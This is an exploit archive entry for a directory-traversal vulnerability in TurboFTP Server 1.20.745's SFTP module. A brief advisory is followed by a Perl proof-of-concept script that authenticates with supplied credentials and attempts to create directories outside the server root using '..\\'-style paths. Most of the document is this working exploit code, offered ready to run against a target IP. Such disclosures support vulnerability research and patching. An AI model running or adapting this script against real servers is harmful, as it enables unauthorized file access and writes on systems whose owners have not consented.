TurboFTP Server 1.20.745 – Directory Traversal
source: https://www.securityfocus.com/bid/40919/info TurboFTP Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue can allow an attacker to download or upload arbitrary files outside the root directory. This may aid in further attacks. TurboFTP Server 1.20.745 is vulnerable; prior versions may also be affected. #!/usr/bin/perl #leinakesi[at]gmail.com #turboFTP Server(sftp module) directory traversal vulnerability use Net::SSH2; use Getopt::Std; @FUZZ = ("..\\A\\", "..\\AA"); getopts('S:P:u:p:', \%opts); $server = $opts{'S'}; $port = $opts{'P'}; $user = $opts{'u'}; $pass = $opts{'p'}; if(!defined($server) || !defined($port) || !defined($user) || !defined($pass) ) { print "usage:\n\tperl test.pl -S [IP] -P [port] -u [user] -p [password]\nexample:\n"; print "\tperl test.pl -S 192.168.48.114 -P 22 -u chloe -p 111111\n"; exit(0); } $ssh2 = Net::SSH2->new(); $ssh2->connect($server, $port) || die "can not connect the server, please check.\n"; $ssh2->auth_password($user, $pass) || die "you sure user name and password are correct?\n"; $sftp = $ssh2->sftp(); foreach(@FUZZ) { if($m = $sftp->mkdir($_)) { print "mkdir success, $_\n"; } } $ssh2->disconnect(); exit(0); |